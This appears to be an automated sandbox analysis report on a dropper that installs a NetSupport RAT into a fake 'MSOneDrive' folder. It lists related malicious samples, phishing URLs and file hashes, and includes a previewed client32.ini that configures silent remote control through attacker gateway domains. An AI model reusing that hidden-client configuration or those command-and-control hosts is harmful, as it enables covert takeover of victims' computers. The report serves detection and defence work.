	kEwKRoptwZ.lnk	Get hash	malicious	Unknown	Browse	23.227.203.67
	KgrUaCcfSR.lnk	Get hash	malicious	Unknown	Browse	23.227.203.67
	MicrosoftEdge.msi	Get hash	malicious	ORPCBackdoor	Browse	162.252.175.145
	MicrosoftEdge.msi	Get hash	malicious	ORPCBackdoor	Browse	162.252.175.145
	https://funnelverse.com/wp-includes/css/americanexpress/nDw8DT	Get hash	malicious	HTMLPhisher	Browse	23.111.168.85
	https://sharepoint-office.anzsomasm2023.com.au/?YLBL3J=J5	Get hash	malicious	HTMLPhisher	Browse	23.227.196.112
CLOUDFLARENETUS	SecuriteInfo.com.Win32.PWSX-gen.29050.19153.exe	Get hash	malicious	LummaC	Browse	172.67.173.81
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	172.67.187.100
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	SPW AW25 - PO.010 SMS.exe	Get hash	malicious	AgentTesla	Browse	172.67.74.152
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	172.67.187.100
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	104.26.1.231
	SecuriteInfo.com.Trojan.GenericKD.74160014.23999.32537.exe	Get hash	malicious	Unknown	Browse	104.21.64.194
	SPW AW25 - PO.010 SMS.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	142.11.212.184
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	142.11.212.184
	SecuriteInfo.com.Win32.CrypterX-gen.27124.19662.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Cryptbot, Go Injector, LummaC Stealer, PrivateLoader, PureLog Stealer	Browse	142.11.212.184
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse	142.11.212.184
	UpUZDmZZSa.doc	Get hash	malicious	Unknown	Browse	142.11.212.184
	dns3BZKZ8b.doc	Get hash	malicious	Unknown	Browse	142.11.212.184
	kP7FtdeE0f.doc	Get hash	malicious	Unknown	Browse	142.11.212.184
	file.exe	Get hash	malicious	Vidar	Browse	142.11.212.184

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\MSOneDrive\AudioCapture.dll	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse
	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse
	Teams.exe	Get hash	malicious	NetSupport RAT	Browse
C:\Users\user\AppData\Local\MSOneDrive\HTCTL32.DLL	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse
C:\Users\user\AppData\Local\MSOneDrive\HTCTL32.DLL	SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe	Get hash	malicious	NetSupport RAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\MSOneDrive\AudioCapture.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	78840
Entropy (8bit):	6.635830973981154
Encrypted:	false
SSDEEP:	1536:96Y+zbZm8/v/k957pyPkLDfORFMTlrSWqNj5CdnTrioQ+ywlj5CdnTXZQ+8iA:96Y+HQ8/3k9RppYFclrLqNj5CdnTrIwp
MD5:	2A82792F7B45D537EDFE58EB758C1197
SHA1:	A039182D4D1EF29C6D8C238F20F7B8218C28F90C
SHA-256:	05AA13A6C1D18F691E552F04A996960917202A322D0DACFD330E553AD56978ED
SHA-512:	C6C6799B386E0D6489D9346F1D403B03B9425572E7418A93A72C413A4B9413945AAF4EA97A7D7B65772E5E3F00CFF65F180F6FEF51A26D4FDC2FF063816B5386
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\MSOneDrive\AudioCapture.dll, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe, Detection: malicious, Browse Filename: Teams.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........\...........7......................:....................2......3......4....Rich...........................PE..L...gf.a...........!.....\|...d......E1............0.......................... ......................................@...-...t...P.......h................O..........`..................................@...............(............................text....z.......\|.................. ..`.rdata..m6.......8..................@..@.data...`...........................@....rsrc...h...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\HTCTL32.DLL

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	313552
Entropy (8bit):	6.750063959044223
Encrypted:	false
SSDEEP:	6144:Jd0nVF1ZtRq6itu9i3uxUnNPhMKj8TwFIKhJ08fvF0dGhZUbol:JYZrokUnNPhMY8TwFIcJB0i
MD5:	3EED18B47412D3F91A394AE880B56ED2
SHA1:	1B521A3ED4A577A33CCE78EEE627AE02445694AB
SHA-256:	13A17F2AD9288AAC8941D895251604BEB9524FA3C65C781197841EE15480A13F
SHA-512:	835F35AF4FD241CAA8B6A639626B8762DB8525CCCEB43AFE8FFFC24DFFAD76CA10852A5A8E9FC114BFBF7D1DC1950130A67037FC09B63A74374517A1F5448990
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Joe Sandbox View:	Filename: SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.10211.1601.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......f./.".A.".A.".A.9i.5.A.+..+.A.".@...A.9i...A.9i.X.A.9i.#.A.9i.#.A.9i.#.A.Rich".A.........................PE..L...!l>T...........!................V8.......................................@............@..........................c..1....W..d.......8......................../...................................>..@...............h............................text............................... ..`.rdata.............................@..@.data...lt...p...(...P..............@....rsrc...8............x..............@..@.reloc...0.......2..................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\NSM.lic

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	262
Entropy (8bit):	5.159412672243952
Encrypted:	false
SSDEEP:	6:O/oPuHk4xRPjwx35vydDKHMoEEjLgpW2MOzx7oUIXZNWYpPM/ioeU6a8l6i7s:X0ZR7wxDJjjqW2MORzaNBPM/ioeUH8lM
MD5:	B9956282A0FED076ED083892E498AC69
SHA1:	D14A665438385203283030A189FF6C5E7C4BF518
SHA-256:	FCC6AFD664A8045BD61C398BE3C37A97536A199A48D277E11977F93868AE1ACC
SHA-512:	7DAA09113C0E8A36C91CC6D657C65851A20DFF6B60AC3D2F40C5737C12C1613C553955F84D131BA2139959973FEF9FC616CA5E968CB16C25ACF2D4739EED87EB
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1200..0x27aa3c3....; NetSupport License File...; Generated on 15:44 - 29/03/2014........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=DCVTTTUUEEW23..maxslaves=100000..os2=1..product=10..serial_no=NSM896597..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Local\MSOneDrive\PCICHEK.DLL

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28656
Entropy (8bit):	6.972247952476263
Encrypted:	false
SSDEEP:	768:X52mBHj1XCdnJ8EriRGp9E+l/kaTj1XCdnJ8EZp9E+8iROA:JPBHj5CdnTrioQ+l/kaTj5CdnTZQ+8iX
MD5:	E311935A26EE920D5B7176CFA469253C
SHA1:	EDA6C815A02C4C91C9AACD819DC06E32ECECF8F0
SHA-256:	0038AB626624FA2DF9F65DD5E310B1206A9CD4D8AB7E65FB091CC25F13EBD34E
SHA-512:	48164E8841CFC91F4CBF4D3291D4F359518D081D9079A7995378F970E4085B534F4BAFC15B83F4824CC79B5A1E54457B879963589B1ACBCFE727A03EB3DFFD1C
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\MSOneDrive\PCICHEK.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........V...V...V...9.b.R.....f.W...9.`.W...9.T.S...9.U.T..._.m._...V...1...9.P.Z...9.e.W...9.d.W...9.c.W...RichV...........PE..L......^...........!......................... ...............................`.......e....@.........................p#..r....!..P....@............... ...O...P......P ............................... ..@............ ..D............................text...*........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\PCICL32.DLL

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3461200
Entropy (8bit):	6.522430452238238
Encrypted:	false
SSDEEP:	49152:oMnz9yqTXur/eAtTAh8bWbxnwDnsT2kaOgkcwSENUv7O:oMnzIqTXuCAtUh8b5xggAS7zO
MD5:	F782C24A376285C9B8A3A116175093F8
SHA1:	B8FDB6E95C7313CF31F14A3A31CC334B56E6DF09
SHA-256:	C7BAF1647F6FEF1B1A4231C9743F20F7A4B524CA4EB987A0ACBEEEF7E037D7E3
SHA-512:	256385A6663DCF70A5A9A1B766D1F826760F07EFA9B9248047DC43D41F6A9F4DD56CA2B218C222EA1D441E2F7BA9BB114CDE6954827B9761EBB1F23BBA7AD1BB
Malicious:	false
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\MSOneDrive\PCICL32.DLL, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\MSOneDrive\PCICL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........Yg=.8.n.8.n.8.nDv.n.8.n..n.8.n.N.n.8.n(..n.8.n..n.8.n.@.n.8.n.8.n.;.n.@.n.8.n.@.n.8.n..n.8.n..n.8.n..n.8.n..n.8.n..n.8.nRich.8.n........................PE..L.....(S...........!........................................................`5......~5.............................0.......$............'............4.P....@3.(.... ..............................p...@....................}..`....................text............................... ..`.rdata..............................@..@.data...(...........................@....tls.................j..............@....hhshare.............l..............@....rsrc....'.......(...n..............@..@.reloc.......@3.......2.............@..B........................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\TCCTL32.DLL

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	397176
Entropy (8bit):	6.805828808723932
Encrypted:	false
SSDEEP:	12288:T63kUb4Rtmiqcn1gqjamCcmAPFdOKAeriUAb4yfytX:V5e+mCFEK6bffQX
MD5:	E5C78D4F6A7A886BD5A19A5F9B654A09
SHA1:	D38231380D37981BE65D0FA84E0001F4DDCC568C
SHA-256:	198CA24C0EF0D879CF475DCA9E0858DA4220F8624AEDF815C76CF33D0316C2B4
SHA-512:	E2BFD445B83A53B3F797EFBA4C8FF873CD99CF3B78D2CBDAF1005F09172DB21199E48E19268DD4056F9FF5EB7885CC9192FF7C49E79F8FBE8D69948920887683
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\MSOneDrive\TCCTL32.DLL, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L....HwX...........!................w................................................(....@.............................o...T...x....0..@...............x)...@..\E..................................`d..@...............h............................text...,........................... ..`.rdata../...........................@..@.data...h............~..............@....rsrc...@....0......................@..@.reloc..$F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\UIManagerBrokerps.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	4.761618125965725
Encrypted:	false
SSDEEP:	192:ZW2DrdP1nJc7ve+YIAW1CmfCwAGCBCnh/frjEcCZCW2n2WRQn:sve+YIAW1xeInxrAZCW2n2W
MD5:	45B5D93521B7818CA11B2C7C9E8811A1
SHA1:	AF78BE041408DA9CE79C63B547FDC1CC195CC08E
SHA-256:	44619C9667DD6489DD6693EC07924AE0472BF82AEF9AD85608E988CDA97C2D67
SHA-512:	E2B4805CB3071CD38B8ED88ACE2E8F5C7E0DFB3BCFE11BE3E755798D1637AA064557AE28B4E791F886D336BB7D9CA41599E17C928C9AD23AD5D52443AD548AF2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........./.T.A_T.A_T.A_].._D.A_@.B^U.A_@.E^X.A_T.@_~.A_@.@^W.A_@.A^U.A_@.I^V.A_@.._U.A_@.C^U.A_RichT.A_................PE..L....w0............!................`........0...............................p............@A.........................!.......@.......P..@....................`..........T...........................0................@...............................text............................... ..`.data...`....0......................@....idata.......@......................@..@.rsrc...@....P......."..............@..@.reloc.......`.......(..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\WerEnc.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20632
Entropy (8bit):	6.530792585357305
Encrypted:	false
SSDEEP:	384:vtWK+FI/U8Y02qfc6W4ZW0CtDBRJKgR1lDzV7:EK+gbcEtCt1PKY3V7
MD5:	9EC373D2E9B1251B41277F334DB59609
SHA1:	AC531A8E849F77AD89D433E11205D5DC33DD8EAB
SHA-256:	CFBFB100B3F29F55EED75C3C7A503098EEC7C4070B63559F42EF30911FC7B16F
SHA-512:	3E4475DE9EA35BC95EEBABBA4E91D9CD414AB1B6892D9E3596A3F4AE4EE00671E0BDF1A84E05095EA948A93DA9327833277EB00F2586894FF34BD754CBCA45BE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=Jc.y+..y+..y+..pS..w+..m@..x+..m@..i+..y+.._+..m@..z+..m@..z+..m@..x+..m@..{+..m@..x+..m@..x+..Richy+..........PE..L....((.........."!................. .......0...............................p............@A........................0)..i....@.......P..(................"...`......0...T........................... ................@...............................text............................... ..`.data...L....0......................@....idata..`....@....... ..............@..@.rsrc...(....P.......&..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\client32.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	107376
Entropy (8bit):	4.702402773520006
Encrypted:	false
SSDEEP:	384:rmXhuZ758V5+6j6Qa86Fkv2Wr120hZD4otVVtV6is:iEd8VZl6FhWr80/sotVVtV6is
MD5:	F6ABEF857450C97EA74CD8F0EB9A8C0A
SHA1:	A1ACDD10F5A8F8B086E293C6A60C53630AD319FB
SHA-256:	DB0ACB4A3082EDC19CA9A78B059258EA36B4BE16EEE4F1172115FC83E693A903
SHA-512:	B6A2196EBFA51BB3FB8FB2B95AD5275828AB5435FD859FC993E2B3ED92A74799FE1C8B178270F99C79432F39AA9DBC0090038F037FCB651AB75C14B18102671F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Local\MSOneDrive\client32.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9!..}@.}@.}@.t8E..@....~@.}@.x@....\|@...).\|@....\|@.Rich}@.........................PE..L......Y.....................t...... ........ ....@..................................[....@..................................!..<....0...l...........z..p).......... ..T............................................ .. ............................text............................... ..`.rdata....... ......................@..@.rsrc....l...0...n..................@..@.reloc...............x..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\client32.ini

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	664
Entropy (8bit):	5.426079899627146
Encrypted:	false
SSDEEP:	12:l7hqH+WX4Ba/vmZ7CVVePb2oGS+u8on4ekLvaCYubluGjI9vykBIYPGY:l7hqeV8uT/yrneruEvykBIKf
MD5:	14F6EBED5E1176F17C18D00A2DC64B2E
SHA1:	CB9C079373658CE098E1D07D4A2C997BF3141B4B
SHA-256:	D4C1F00382F01ABBB3142EF6D9C3E51557D0CED12A52861D8C5DF44D1CE723AC
SHA-512:	E5F24A695749D693E873EA60B8CAAFF5CB3B306887721E3F9F308AFE697FBA37F3A6226322AEDEBB46764D6BBBAF21DF44D4C6A02DB49B067437D7E7D0CCEAF9
Malicious:	false
Preview:	0xe77314c8....[Client].._present=1..DisableChatMenu=1..DisableDisconnect=1..DisableReplayMenu=1..DisableRequestHelp=1..SOS_RShift=0..DisableChat=1..Shared=1..ValidAddresses.TCP=..silent=1..AlwaysOnTop=0..SOS_Alt=0..SysTray=0..UnloadMirrorOnDisconnect=0..AutoICFConfig=1..DisableMessage=1..SOS_LShift=0..Usernames=..SecurityKey2=dgAAANFUHNynybuwpE8GRawoAgMA..Protocols=3....[_License]..quiet=1....[_Info]..Filename=C:\ProgramData\regid1996-09com.microsoft\client32-u.ini....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=armayalitim.com:443..GSK=HA;F?FCFHL>BBCEEHH:I<J?LED..Port=443..SecondaryGateway=armayalitim1722.com:443..SecondaryPort=443..

C:\Users\user\AppData\Local\MSOneDrive\dpnathlp.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	4.3358588850360205
Encrypted:	false
SSDEEP:	96:ixLCTNklk4a+4a9Tcqn2jshq8PjAzIsEWRuWw1QR:ixmT4kJ+4Yu0PrAzKWRuW
MD5:	FAEDA9B43E022ACD3B8462B222EEDC72
SHA1:	9D81571936C9270600E54F7BCA210026F6ECD830
SHA-256:	F0F847A5079F94ADFD5B224C05DDD4A5651C757B920B6C26E629993C7DD36951
SHA-512:	5A351F6A59F148E7091B8EFFA5D5E59102AB4FC4BFC1374E19A8ADE57FC68BCE4467F5B9BE34F9A4AAF2DF85721EFBCCDE064803469FEBA2B06EA789681B0D4E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d"...L...L...L..nO...L..nH...L...M...L..nM...L..nL...L..nE...L..n....L..nN...L.Rich..L.................PE..L...p..............!......................... ...............................`.......y....@A........................ ...C...L0..<....@.......................P..........T............................................0..H............................text...c........................... ..`.data...L.... ......................@....idata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\dpnhupnp.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	4.3358588850360205
Encrypted:	false
SSDEEP:	96:ixLCTNklk4a+4a9Tcqn2jshq8PjAzIsEWRuWw1QR:ixmT4kJ+4Yu0PrAzKWRuW
MD5:	FAEDA9B43E022ACD3B8462B222EEDC72
SHA1:	9D81571936C9270600E54F7BCA210026F6ECD830
SHA-256:	F0F847A5079F94ADFD5B224C05DDD4A5651C757B920B6C26E629993C7DD36951
SHA-512:	5A351F6A59F148E7091B8EFFA5D5E59102AB4FC4BFC1374E19A8ADE57FC68BCE4467F5B9BE34F9A4AAF2DF85721EFBCCDE064803469FEBA2B06EA789681B0D4E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d"...L...L...L..nO...L..nH...L...M...L..nM...L..nL...L..nE...L..n....L..nN...L.Rich..L.................PE..L...p..............!......................... ...............................`.......y....@A........................ ...C...L0..<....@.......................P..........T............................................0..H............................text...c........................... ..`.data...L.... ......................@....idata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\dpnlobby.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	4.3358588850360205
Encrypted:	false
SSDEEP:	96:ixLCTNklk4a+4a9Tcqn2jshq8PjAzIsEWRuWw1QR:ixmT4kJ+4Yu0PrAzKWRuW
MD5:	FAEDA9B43E022ACD3B8462B222EEDC72
SHA1:	9D81571936C9270600E54F7BCA210026F6ECD830
SHA-256:	F0F847A5079F94ADFD5B224C05DDD4A5651C757B920B6C26E629993C7DD36951
SHA-512:	5A351F6A59F148E7091B8EFFA5D5E59102AB4FC4BFC1374E19A8ADE57FC68BCE4467F5B9BE34F9A4AAF2DF85721EFBCCDE064803469FEBA2B06EA789681B0D4E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........d"...L...L...L..nO...L..nH...L...M...L..nM...L..nL...L..nE...L..n....L..nN...L.Rich..L.................PE..L...p..............!......................... ...............................`.......y....@A........................ ...C...L0..<....@.......................P..........T............................................0..H............................text...c........................... ..`.data...L.... ......................@....idata.......0......................@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\dxmasf.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	2.6257057833605213
Encrypted:	false
SSDEEP:	48:CLMizve6wUDFgPhIhvsG1eMbotAQqnAwpgS008IZW0H1lXnuIzh/o5WwHgK:4MizvlNDF+MktAXAwoXEWs/n3/sWwr
MD5:	77686C7F73FA932D89BF262002182FD1
SHA1:	95D2B97C00B26A3D327ABA83F5CDF4459736AF87
SHA-256:	BAA1A9D6338CB995A341A18D6003049EC4E14C7588DD8F78D0CEED324301163E
SHA-512:	5BFD67B0DED3FE9967468F69AB2790A2F475D330E8DC4EA8CDE5BE47CC2433A22F48DB547724443130A969F2370BD5A0CC9A602894B340E0899C319DEA6B7376
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%..a...a...a...u...b...a...j...u...g...u...`...u...`...u.s.`...u...`...Richa...........................PE..L..................!......................... ...............................`............@E................................ 0..(....@.......................P..,.......T............................................0...............................text...5........................... ..`.data...$.... ......................@....idata.......0......................@..@.rsrc........@......................@..@.reloc..,....P......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\getuname.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	4.810621720665765
Encrypted:	false
SSDEEP:	96:9MSvZiG2+XZ9PIzWIY+0y1/wbaDQzf7qfBS9nFJEcMYZcEWIdWwWZ2f:PfJsW7+0AHGfWfBqn7Ec3ZtWIdWH0
MD5:	8881F8445B35C24DC307561809E15A4A
SHA1:	1B76C7657AAEAAC45D39B837E2131B5B4113F599
SHA-256:	0CBEB415A66083408897C5C8D404BFA2B32132CC49C203969125A106AE2C0520
SHA-512:	3B6C764896F9EA30E1BE38496AAF6F16507034D9AE8D6B87046A9A69197061E56657A1E6FB7A1F57E77E73F93CF962E8F122577AED78FE55D984D37554F176A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........K...........;...........................................W..........Rich...........................PE..L....\.............!................`........ .....t.........................`.......t....@A............................H...d0.......@.......................P..4.......T............................................0..`............................text...8........................... ..`.data...P.... ......................@....idata.......0......................@..@.rsrc........@......................@..@.reloc..4....P....... ..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\MSOneDrive\icmp.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	3.5862620294630116
Encrypted:	false
SSDEEP:	24:eH1GS3cwXqQnWI2rxDWlJZfWgd/bWuJ0Sto6IZW0gTXNu/2SY35WWdPPYPNy:yDXqQnWtDSd/SOtFIZW39u1m5WwHg
MD5:	EF7D0F1EF60616814125B2FEDD84B0EB
SHA1:	090E43A171926FD20F7C8DA4AC71473E70A44337
SHA-256:	7CF9EEBBA0742BDCCE8763E80FC6E8C724B7FF0B5B2084E757666BFF6397C779
SHA-512:	F8D372C2E574DB8E812DDE924B6391581233E6BDCB2CD4486A0CFD790E76DFD1C711837A9BADDDA9A58B68AC94A028C4166F211AB7F4D46C56152050D6C12393
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........=..S...S...S...S...S......S...Q...S.Rich..S.........PE..L..... ............!..............................@S.........................0.......6....@E........................`................ ..................................T............................................................................text...............................@..@.rsrc........ ......................@..@...... .........!................. .........d...0...0......... .........$............................. .........................................B...j...........................1.......\...............................icmp.dll.IcmpCloseHandle.iphlpapi.IcmpCloseHandle.IcmpCreateFile.iphlpapi.IcmpCreateFile.IcmpParseReplies.iphlpapi.IcmpParseReplies.IcmpSendEcho2.iphlpapi.IcmpSendEcho2.IcmpSendEcho.iphlpapi.IcmpSendEcho.do_echo_rep.iphlpapi.do_echo_rep.do_echo_req.iphlpapi.do_echo_req.re

C:\Users\user\AppData\Local\MSOneDrive\ir41_qcx.dll

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.DropperX-gen.16193.30488.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8704
Entropy (8bit):	4.790309421557943
Encrypted:	false
SSDEEP:	96:APT8Qw74DEmFTkqZn+2j8FWLqZW95OQbfzDzJEczJDlEWBSWwSULY9K:AW7qEcNIEyQ5OQbfPNEczx+WBSWKf
MD5:	B4B0B3EAB11FFEFD388FC4C3184E85EC
SHA1:	422F096EBC004BD72F3E4BD83E9B8E77E44F90F2
SHA-256:	E9C8544CECBA0B9A5D9D181F5FC87763A5164DA6E60F290AD4AD49DFC466EB06
SHA-512:	06FA240220CB92C9165B2C24A21763C5DC0471AEC3662FF3E56525F3CCF70B347D4F12EACF9D667302FA8956A868DD764A97330FC155AB0B664DC01A8C5C0316
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
